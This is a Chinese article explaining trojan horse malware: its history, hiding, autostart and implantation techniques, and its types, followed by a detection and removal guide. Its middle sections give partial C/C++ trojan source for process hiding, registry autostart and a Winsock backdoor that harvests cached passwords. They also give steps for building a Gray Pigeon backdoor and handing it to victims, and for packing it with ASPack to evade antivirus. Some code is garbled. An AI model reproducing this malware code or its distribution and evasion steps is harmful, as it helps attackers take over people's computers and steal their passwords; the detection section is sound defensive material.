大家应该对"木马"这个名词都不陌生,很多人感觉自己的“电脑系统变慢了”,“某些文件打不开了”,“打开网页慢了”就怀疑自己是不是中"病毒木马"了,其实这里要给大家解释一下,"病毒"和"木马"并不是一个统一概念,本质上还是有一些区别的,木马虽然属于病毒中的一类,但是要单独的从病毒类型中间剥离出来.独立的称之为"木马"程序。
木马和病毒的主要区别:
1、病毒是当已感染的软件运行时,这些恶性程序向计算机软件添加代码,修改程序的工作方式,从而获取计算机的控制权。
2、木马是指未经用户同意进行非授权操作的一种恶意程序。它们可能删除硬盘上的数据,使系统瘫痪,盗取用户资料等。木马程序不能独立侵入计算机,而是要依靠黑客来进行传播,它们常常被伪装成"正常"软件进行散播。
3、他们最大的区别就是病毒具有感染性,而木马一般不具有感染性,另外,病毒入侵后立刻有感觉 ,而木马入侵后希望你没有感觉,这样才有利于她"开展工作"。
好的,大家理解了木马和病毒的区别以后,今天咱们进入正题,阐述一下"木马程序的原理与实现"!
一、 木马程序简介
1、 木马的由来和定义
由来:
先讲个故事,故事发生在在三千多年的古希腊,特洛伊的王子帕里斯爱上了斯巴达国王的妻子——绝世美女海伦。王子把她带回了特洛伊古城,这时斯巴达王非常的愤怒,他找到了自己的哥哥,迈锡尼国王阿加伽门农,请求他的的帮忙,阿伽门农正好也希望征服特洛伊,于是借此机会建立了一支希腊联军讨伐特洛伊古城。然后事情却没那么简单,建军围攻了特洛伊古城9年仍未攻下,到了第十年,将领奥德修斯想出一计,将一批勇士藏于一批巨大的木马腹内,放在城外,大部队则佯装退军。特洛伊人以为敌军已退,就打开城门,打扫战场,并把敌军留下的那只木马作为战利品带进了城中。全程饮酒狂饮,到了夜间,全城军民进入梦乡,而埋伏在木马中的勇士们跳了出来,并打开城门四处放火,城外将士一拥而入,部队里应外合,攻下了特洛伊城池。后代称这只大木马为"特洛伊木马"。后来,人们在写文章时,就常用"特洛伊木马"这一典故比作在敌方营垒内埋下伏兵里应外合的活动。
基础定义:入侵者编写入侵他人电脑并进行控制和破坏的程序,就叫做"木马程序"。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是"善意"的控制,因此通常不具有隐蔽性;"木马"则完全相反,木马的目的是要达到 "偷窃"性的远程控制,如果没有很强的隐蔽性的话,那就是"毫无价值"的。
2、木马的主要特点
(1)伪装性:木马总是伪装成其他程序来迷惑管理员。
(2)潜伏性:木马能够毫无声响地打开端口等待外部连接。
(3)隐蔽性:木马的运行隐蔽,甚至使用任务管理器都看不出来。
(4)自动运行性:当系统启动时自动运行。
3、木马被入侵者用来做什么?
(1)入侵
当基于认证和漏洞的入侵无法进行时,就需要考虑使用木马入侵。
(2)留后门
由于木马连接不需要系统认证并且隐蔽性好,为了以后还能控制远程主机,可以种木马以留后门。
二、 木马的工作原理
1、基本原理
木马是一种基于远程控制的黑客工具,一般来说,木马程序包括客户端和服务端两部分。
其中,客户端运行在入侵者的操作系统上,是入侵者控制目标主机的平台;服务端则是运行在目标主机上,是被控制的平台,一般发送给目标主机的就是服务端文件。
木马主要是依靠邮件附件、软件下载、淫秽图片、通信软件等途径进行传播,然后,木马通过一定的提示诱使目标主机运行木马的服务端程序,实现木马的种植。
例如:入侵者伪装成目标主机用户的朋友,发送了一张捆绑有木马的电子贺卡,当目标主机打开贺卡后,屏幕上虽然会出现贺卡的画面,但此时木马服务端程序已经在后台运行了。
木马的体积都非常小,大部分在几KB到几十KB之间。
当目标主机执行了服务端程序之后,入侵者便可以通过客户端程序与目标主机的服务端建立连接,进而控制目标主机。
对于通信协议的选择,绝大多数木马使用的是TCP/IP协议,但也有使用UDP协议的木马。
木马的服务端程序会尽可能地隐蔽行踪,同时监听某个特定的端口,等待客户端的连接;此外,服务端程序为了在每次重新启动计算机后能正常运行,还需要通过修改注册表等方法实现自启动功能。
2、关键技术
(一) 隐藏技术
1) 程序隐藏
木马程序可以利用程序捆绑的方式,将自己和正常的exe 文件进行捆绑。当双击运行捆绑后的程序时,正常的exe 文件运行了。程序隐藏只能达到从表面上无法识别木马程序的目的,但是可以通过任务管理器中发现木马程序的踪迹,这就需要木马程序实现进程隐藏。
2) 进程隐藏
隐藏木马程序的进程显示能防止用户通过任务管理器查看到木马程序的进程,从而提高木马程序的隐蔽性。主要有两种:
API拦截属于进程伪隐藏方式通过利用Hook技术监控并截获系统中某些程序对进程显示的API 函数调用,然后修改函数返回的进程信息,将自己从结果中删除,导致任务管理器等工具无法显示该木马进程。
远程线程注入属于进程真隐藏方式 主要是利用CreateRemoteThread函数在某一个目标进程中创建远程线程,共享目标进程的地址空间,并获得目标进程的相关权限,从而修改目标进程内部数据和启动DLL 木马。
3) 通信隐藏
可以从通信连接的状况中发现木马程序的踪迹。因此,很有必要实现木马程序的通信隐藏。主要有两种方式:
端口复用技术,它让木马服务端程序共享其他网络程序已打开的端口和客户端进行连接,从而防止重新开启端口降低隐蔽性。关键之处在于,木马程序应增设一个数据包转交判断模块,该模块控制主机对数据报的转交选择。
利用ICMP和HTTP 协议,通常网络防火墙和入侵检测系统等安全设备只检查ICMP报文的首部,对数据部分不做处理。因此,可以将木马程序的通信数据隐藏在ICMP 报文格式的选项数据字段进行传送,如把服务端程序向客户端程序传输的数据伪装成回显请求报文,而把客户端程序向服务端程序传输的数据伪装成回显应答报文。这样,就可以通过PING\PINGRESPONSE的方式在木马服务端程序和客户端程序之间建立起一个高效的秘密会话信道。利用ICMP 协议传输数据还有一个很大的优点,即ICMP 属于IP 层协议,它在传输数据时并不使用任何端口,从而具有更好的隐蔽性。
(二) 木马自启动技术
自启动功能是必不可少的。自启动可以保证木马不会因为用户的一次关机操作而彻底失去作用。下面介绍经常使用的几种方法。
1)在Win.ini中启动
在Win.ini文件中的[Windows]字段中有启动命令"load="和"run="。默认情况下,"="后面是空白的。这两项分别是用来当系统启动时自动加载和运行的程序,如果木马程序加载到这两项中,那么系统启动后即可自动地加载和运行。
2)在System.ini中启动
在System.ini文件中的[boot]字段的shell=Explorer.exe中是木马常用的隐藏加载的地方。木马最惯用的伎俩就是把本应是"Explorer.exe"变成自己的程序名,名称伪装成几乎与Explorer.exe一样,只需稍稍改"Explorer"的字母"l"改为数字"1",或者把其中的"o"改为数字"0",这些改变如果不仔细留意是很难被人发现的。或者是shell=Explorer.exe 的后面加上木马程序的路径,如:shell=Explorer.exe sample.exe,这里的sample.exe就是木马服务端程序。
3)通过启动组实现自启动
启动组是专门用来实现应用程序自启动的地方。启动组文件夹的位置为"C:\Documents and Settings\All Users\「开始」菜单\程序\启动"。
[注:"All Users"即对所有用户都有作用]
4)通过注册表启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce,
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run,
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
5)修改文件关联
修改文件关联是木马常用手段。
例如:在正常情况下,txt文件的打开方式为notepad.exe文件,但一旦中了文件关联木马,则txt文件打开方式就会被修改为用木马程序打开。例如著名的国产木马冰河就是这样。
6)捆绑文件
入侵者可以通过一些黑客软件,如著名的Deception Binder,完成文件的捆绑,之后将这些捆绑文件放到网站、FTP、BT等资源下载场所,当用户下载并执行捆绑文件,同时就启动了木马的服务端程序。
(三) 木马植入技术
1)图标伪装
黑客为了迷惑用户,将木马服务端程序的图标换成一些常见的文件类型的图标。
2)文件捆绑欺骗
文件捆绑就是通过使用文件捆绑器将木马服务端和正常的文件捆绑在一起,达到欺骗对方从而运行捆绑的木马程序的目的。
例如,把木马服务端和某个游戏,或者flash文件捆绑成一个文件通过QQ或邮件发送给受害者。当受害者对这个游戏或flash感兴趣而下载到机器上,并开打了该文件,木马程序就会悄悄运行。
3)定制端口
很多老式的木马端口都是固定的,只要查一下特定的端口就知道感染了什么木马。现在很多新式的木马都加入了定制端口的功能,控制端用户可以在1024~65535之间任选一个端口作为木马端口,一般不选1024以下的端口,这就给判断所感染的木马类型带来了麻烦。
4)扩展名欺骗
例如,图像文件的扩展名不可能是.exe,而木马程序的扩展名又必定是.exe,大多数用户在看到扩展名为".exe"的文件时,就会很小心。于是设计者就将文件名进行一些改变,例如将"picture.tiff"更改为"pitcture.tiff.exe",因为windows默认是不显示扩展名的,于是用户就只能看到"picture.tiff",很容易将其作为一个图片文件而启动。
三、 木马的演变与种类
1、木马的演变
从木马的发展来看,把木马分为五代。
1)第一代木马
第一代的木马功能相当简单,典型的有back orifice(简称:BO)、netSpy等,早就退出了历史的舞台。
第一代windows木马只是一个将自己伪装成特殊的程序或文件的软件,如伪装成一个用户登录窗口,当用户运行了木马伪装的登录窗口,输入用户名和密码后,木马将自动记录数据并转发给入侵者。
2)第二代木马
提供了几乎所有能够进行的远程控制操作。国内最具代表性的就是冰河木马和广外女生。
3)第三代木马
继续完善了连接与文件传输技术,并增加了木马穿透防火墙的功能,并出现了"反弹端口"技术,如国内的灰鸽子木马软件。
4)第四代木马
利用了远程线程插入技术,将木马线程插入DLL线程中,使系统更加难以发现木马的存在与入侵的连接方式。
5)第五代木马
相对于第四代木马,功能更加全面。而且应用DLL技术后在目标主机的计算机中不生成新的文件。
2、木马的种类
1)破坏型
破坏并删除文件,自动删除电脑上的dll、EXE等文件,以达到使被感染的电脑瘫痪的目的。
2)密码发送型
密码发送型的木马正是专门为了盗取被感染计算机上的密码而编写的,该木马一旦被执行,就会自动搜索内存,Cache,临时文件夹以及各种敏感密码文件,一旦搜索到有用的密码,木马就会利用免费的电子邮件服务将密码发送到指定的邮箱。从而达到获取密码的目的,所以这类木马大多使用25号端口发送E-mail。
3)远程访问型
远程访问型木马程序一般包括客户端程序和服务端程序,在目标主机上执行了服务端程序之后,只要用户知道目标主机的IP地址或主机名,就可以与目标主机连接,连接成功后,用户通过客户端程序提供的远程操作功能就可以实现对目标主机的监视与控制。
大名鼎鼎的木马冰河就是一个远程访问型特洛伊木马。
4)键盘记录木马
记录目标主机用户的键盘操作且将键盘操作记录在文件中,入侵者可以获取这些文件并在文件中获取诸如密码等有用的信息。
对于这种类型的木马,邮件发送功能也是必不可少的。
5)Dos攻击木马
Dos全名是Denial of service(拒绝服务)。它故意攻击网络协议的缺陷或直接通过某种手段耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务停止响应甚至崩溃。
当黑客侵入一台计算机并种上了DOS攻击木马后,日后这台计算机就成了黑客DOS攻击的最得力的帮手。黑客控制的计算机数量越多,发动DOS攻击取得成功的概率就越大,所以,这种木马的危害不是体现在被感染的计算机上,而是体现在攻击者可以利用它来攻击网络上的其他的计算机。
全名是 (),很多攻击源一起攻击某台服务器就组成了DDOS攻击。
6)代理木马
给被控制的肉鸡种上代理木马,让其变成入侵者发动攻击的跳板就是代理木马最重要的任务。通过代理木马,入侵者可以在匿名的情况下使用Telnet等程序,从而隐蔽自己的踪迹。
7)FTP木马
这种木马可能是最简单和古老的木马了,它的惟一功能就是打开21端口,等待用户连接。现在新FTP木马还加上了密码功能,这样,只有攻击者本人才知道正确的密码,从而进入对方的计算机。
8)程序杀手木马
常见的查杀木马软件有瑞星,Norton Anti-Virus及木马清除大师等。程序杀手木马的功能就是关闭目标机器上运行的木马查杀程序,让木马更好地发挥作用。
9)反弹端口型木马
木马开发者在分析了防火墙的特性后发现 :防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。
于是,与一般的木马相反,反弹端口型木马在服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。
木马定时监测客户端(控制端)的存在,发现客户端(控制端)上线立即主动连接控制端打开的主动端口;
为了隐蔽起见,客户端 (控制端)的被动端口一般设置为80(浏览网页必须开的端口),这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情况,不明真相的用户就会以为自己在浏览网页,并且,防火墙一般不会禁止用户向外连接80端口。
主流木马:
四、 木马程序的实现
1、 木马中的关键技术实现(附源码)
1) 木马程序隐藏技术
通过注册服务程序,实现进程伪隐藏的方法:
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { try { DWORD dwVersion = GetVersion();//取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 { int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口 rsp(NULL,1);//注册服务 FreeLibrary(dll);//释放DLL模块 } } catch (Exception &exception)//处理异常事件 { //处理异常事件 } return 0;}2) 程序的自启动运行技术
展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:
HKEY hkey;AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PNameunsigned long k;k=REG_OPENED_EXISTING_KEY;RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,NULL,&hkey,&k);RegSetValueEx(hkey,"BackGroup",0,REG_SZ,NewProgramName.c_str(),NewProgramName.Length());RegCloseKey(hkey);if (int(ShellExecute(Handle,"open",NewProgramName.c_str(),NULL,NULL,SW_HIDE))>32){WantClose=true;Close();}else{HKEY hkey;unsigned long k;k=REG_OPENED_EXISTING_KEY;long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,&k);RegSetValueEx(hkey,"BackGroup",0,REG_SZ,ProgramName.c_str(),ProgramName.Length());int num=0;char str[20];DWORD lth=20;DWORD type;char strv[255];DWORD vl=254;DWORD Suc;do{Suc=RegEnumValue(HKEY_LOCAL_MACHINE,(DWORD)num,str,NULL,&type,strv,&vl);if (strcmp(str,"BGroup")==0){DeleteFile(AnsiString(strv));RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");break;}}while(Suc== ERROR_SUCCESS);RegCloseKey(hkey);}2、 WINSOCK编程完成一个简单"木马程序"实现(附源码)
用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C++ BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能。
源代码如下:
#include <windows.h> #include <winsock.h> #include <mmsystem.h> #pragma hdrstop #include <condefs.h> #pragma argsused #define RUN "//WinMon32.exe" //注册服务 #define SERVICE_PROC 1 //卸载服务 #define UNSERVICE_PROC 0 #define TH32CS_SNAPPROCESS 0x00000002 #define PROCESS_HANDLE_NAME 255 //缓冲区长度 #define dwBuffSize 2048 //命令行长度 #define dwComm 50 #define PORT 9102 #define WM_SOCKET WM_USER+1 #define PROMPT "LanLan://>" DWORD dwVersion=MAKEWORD(1,1); DWORD dwFlag=TRUE; WSADATA wsaData; SOCKET CreateSock,NewSock; SOCKADDR_IN Sock_in,NewSock_in; LPTSTR szReadBuff,Ob,TempBuff; int addrlen; //CACHE PASSWORD结构 typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; char abResource[1]; } PASSWORD_CACHE_ENTRY; typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); //CACHE PASSWORD函数原形 typedef WORD (WINAPI *PWNetEnumCachedPasswords)( LPSTR pbPrefix, DWORD cbPrefix, DWORD nType, CACHECALLBACK pfnCallback, DWORD UNKNOWN ); //TOOLHELP32 结构 typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32 * LPPROCESSENTRY32; 注:由于文章篇幅限制剩余源码可以私信我单独发送3、 利用"灰鸽子"工具软件制作木马
灰鸽子简介: 灰鸽子是国内一款著名后门。比起前辈冰河、黑洞来,灰鸽子可以说是国内后门的集大成者。其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在合法情况下时,灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事,灰鸽子就成了很强大的黑客工具。
方法如下:
首先,在电脑上安装灰鸽子,然后进入其主页面
接下来我们点自动上线FTP服务器就是你FTP空间的地址
下来点配置服务程序,先点自动上线设置,IP通知那里添上你FTP在HTTP的访问地址加上你放IP文件的地址
最终我们要把服务器配置成功
这时你只要将自己生成的木马给别人运行就可以了,这样他就会上线如下图
如果设了密码就要输入连接密码哦
五、 如何给易被查杀的木马"加壳"
大家知道现在的病毒查杀软件对已知的木马程序很容易就查杀掉,所以当你好不容易制作的木马传播出去后,轻松就被客户端查杀掉了,这时我们就要利用加壳技术,给木马套个"壳"防止被杀
1、什么是加壳?
加壳:是一种通过一系列数学运算,将可执行程序文件(EXE)或动态链接库文件(DLL)的编码进行改变(目前加壳软件还可以压缩、加密),以达到缩小文件体积或加密程序编码的目的。当被加壳的程序运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。
常见到的压缩壳有"UPX"、"北斗程序压缩"、"ASPack"等,加密壳有"PE-Armor"、"ASProtect"等等。
2、利用ASPack加壳防止木马被查杀:
步骤1:下载并运行ASPack2.28软件,即可打开ASPack 2.28主窗口,如图1-69所示。在"选项"选项卡中勾选"压缩资源"、"加载后立即运行"及"使用Windows DLL 加载器"等复选项,如下图所示:
步骤2:选择"打开文件"选项卡,单击"打开"按钮,即可打开"选择要压缩的文件"对话框,在其中选择需要加壳的文件,如下图所示。
步骤3:单击"打开"按钮,即可开始进行压缩,如下图所示。在"压缩"选项卡中可进行压缩、测试操作,并在完成之后生成加壳后的文件。
使用方法比较简单,可以自行测试一下效果!
六、 如何识别与查杀木马程序
识别方法:
1、检查网络连接情况
由于不少木马会主动侦听端口,或者会连接特定的IP和端口,所以我们可以在没有正常程序连接网络的情况下,通过检查网络连情情况来发现木马的存在。
具体的步骤是点击"开始" "运行" "cmd",然后输入netstat -an这个命令能看到所有和自己电脑建立连接的IP以及自己电脑侦听的端口,它包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息,我们就可以完全监控电脑的网络连接情况。
2、查看目前运行的服务
服务是很多木马用来保持自己在系统中永远能处于运行状态的方法之一。我们可以通过点击"开始" "运行" "cmd",然后输入"net start"来查看系统中究竟有什么服务在开启,如果发现了不是自己开放的服务,我们可以进入"服务"管理工具中的"服务",找到相应的服务,停止并禁用它。
3、检查系统启动项
由于注册表对于普通用户来说比较复杂,木马常常喜欢隐藏在这里。检查注册表启动项的方法如下:点击"开始" "运行" "regedit",然后检查HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下所有以"run"开头的键值;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以"run"开头的键值;HKEY-USERS\.Default\Software\Microsoft\Windows\CurrentVersion下所有以"run"开头的键值。
Windows安装目录下的System.ini也是木马喜欢隐蔽的地方。打开这个文件看看,在该文件的[boot]字段中,是不是有shell=Explorer.exe file.exe这样的内容,如有这样的内容,那这里的file.exe就是木马程序了!
4、检查系统帐户
恶意的攻击者喜在电脑中留有一个账户的方法来控制你的计算机。他们采用的方法就是激活一个系统中的默认账户,但这个账户却很少用的,然后把这个账户的权限提升为管理员权限,这个帐户将是系统中最大的安全隐患。恶意的攻击者可以通过这个账户任意地控制你的计算机。针对这种情况,可以用以下方法对账户进行检测。
点击"开始";"运行" "cmd",然后在命令行下输入net user,查看计算机上有些什么用户,然后再使用"net user 用户名"查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不应该属于administrators组,如果你发现一个系统内置的用户是属于administrators组的,那几乎可以肯定你被入侵了。快使用"net user用户名/del"来删掉这个用户吧!
5、利用系统进程识别木马
任何病毒和木马存在于系统中,都无法彻底和进程脱离关系,即使采用了隐藏技术,也还是能够从进程中找到蛛丝马迹,因此,查看系统中活动的进程成为我们检测病毒木马最直接的方法。
木马常利用的系统进程有:svchost.exe、explorer.exe、iexplore.exe、winLOGOn.exe等进程。
(1)svchost.exe
常被病毒冒充的进程名有:svch0st.exe、schvost.exe、scvhost.exe。随着Windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由svchost.exe进程来启动。而系统服务是以动态链接库(DLL)形式实现的,它们把可执行程序指向scvhost,由cvhost调用相应服务的动态链接库来启动服务。
我们可以打开"控制面板"→"治理工具"→服务,双击其中"ClipBook"服务,在其属性面板中可以发现对应的可执行文件路径为"C:\WINDOWS\system32\clipsrv.exe"。再双击"Alerter"服务,可以发现其可执行文件路径为"C:\WINDOWS\system32\svchost.exe -k LocalService",而"Server"服务的可执行文件路径为"C:\WINDOWS\system32\svchost.exe -k netsvcs"。正是通过这种调用,可以省下不少系统资源,因此系统中出现多个svchost.exe,其实只是系统的服务而已。
在Windows系统中一般存在2个svchost.exe进程,一个是RPCSS(RemoteProcedureCall)服务进程,另外一个则是由很多服务共享的一个svchost.exe;而在WindowsXP中,则一般有4个以上的svchost.exe服务进程。假如svchost.exe进程的数量多于5个,就要小心了,很可能是病毒假冒的,检测方法也很简单,使用一些进程治理工具,例如Windows优化大师的进程治理功能,查看svchost.exe的可执行文件路径,假如在"C:\WINDOWS\system32"目录外,那么就可以判定是病毒了。
(2)explorer.exe
常被病毒冒充的进程名有:iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我们经常会用到的"资源治理器"。假如在"任务治理器"中将explorer.exe进程结束,那么包括任务栏、桌面、以及打开的文件都会统统消失,单击"任务治理器"→"文件"→"新建任务",输入"explorer.exe"后,消失的东西又重新回来了。explorer.exe进程的作用就是让我们治理计算机中的资源。
explorer.exe进程默认是和系统一起启动的,其对应可执行文件的路径为"C:\Windows"目录,除此之外则为病毒。
(3)iexplore.exe
常被病毒冒充的进程名有:iexplorer.exe、iexploer.exeiexplorer.exe进程和上文中的explorer.exe进程名很相像,因此比较轻易搞混,其实iexplorer.exe是Microsoft Internet Explorer所产生的进程,也就是我们平时使用的IE浏览器。知道作用后辨认起来应该就比较轻易了,iexplorer.exe进程名的开头为"ie",就是IE浏览器的意思。
iexplore.exe进程对应的可执行程序位于C:\ProgramFiles\InternetExplorer目录中,存在于其他目录则为病毒,除非你将该文件夹进行了转移。此外,有时我们会发现没有打开IE浏览器的情况下,系统中仍然存在iexplore.exe进程,这要分两种情况:
1) 病毒假冒iexplore.exe进程名。
2) 病毒偷偷在后台通过iexplore.exe干坏事。
(4)rundll32.exe
常被病毒冒充的进程名有:rundl132.exe、rundl32.exe。rundll32.exe在系统中的作用是执行DLL文件中的内部函数,系统中存在多少个Rundll32.exe进程,就表示Rundll32.exe启动了多少个的DLL文件。其实rundll32.exe我们是会经常用到的,他可以控制系统中的一些dll文件,举个例子,在"命令提示符"中输入"rundll32.exe user32.dll,LockWorkStation",回车后,系统就会快速切换到登录界面了。rundll32.exe的路径为"C:\Windows\system32",在别的目录则可以判定是病毒。
(5)spoolsv.exe
常被病毒冒充的进程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系统服务"Print Spooler"所对应的可执行程序,其作用是治理所有本地和网络打印队列及控制所有打印工作。假如此服务被停用,计算机上的打印将不可用,同时spoolsv.exe进程也会从计算机上消失。假如你不存在打印机设备,那么就把这项服务关闭吧,可以节省系统资源。停止并关闭服务后,假如系统中还存在spoolsv.exe进程,这就一定是病毒伪装的了。
查杀方法:
手工查杀:
1、运行任务管理器,杀掉木马进程。
2、检查注册表中RUN、RUNSERVEICE等几项,先备份,记下可以启动项的地址, 再将可疑的删除。
3、删除上述可疑键在硬盘中的执行文件。
4、一般这种文件都在WINNT,SYSTEM,SYSTEM32这样的文件夹下,他们一般不会单独存在,很可能是有某个母文件复制过来的,检查C、D、E等盘下有没有可疑的.exe,.com或.bat文件,有则删除之。
5、检查注册表HKEY_LOCAL_MACHINE和HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main中的几项(如Local Page),如果被修改了,改回来就可以。
6、检查HKEY_CLASSES_ROOT\txtfile\shell\open\command和 HKEY_CLASSES_ROOTxtfileshellopencommand等等几个常用文件类型的默认打开程序是否被更改。这个一定要改回来。很多病毒就是通过修改.txt文件的默认打开程序让病毒在用户打开文本文件时加载的。
利用工具查杀:
查杀木马好用的工具有LockDown、The Clean、木马克星、金山木马专杀、木马清除大师、木马分析专家等,利用这些工具绝大多数的已知木马都可以查杀掉。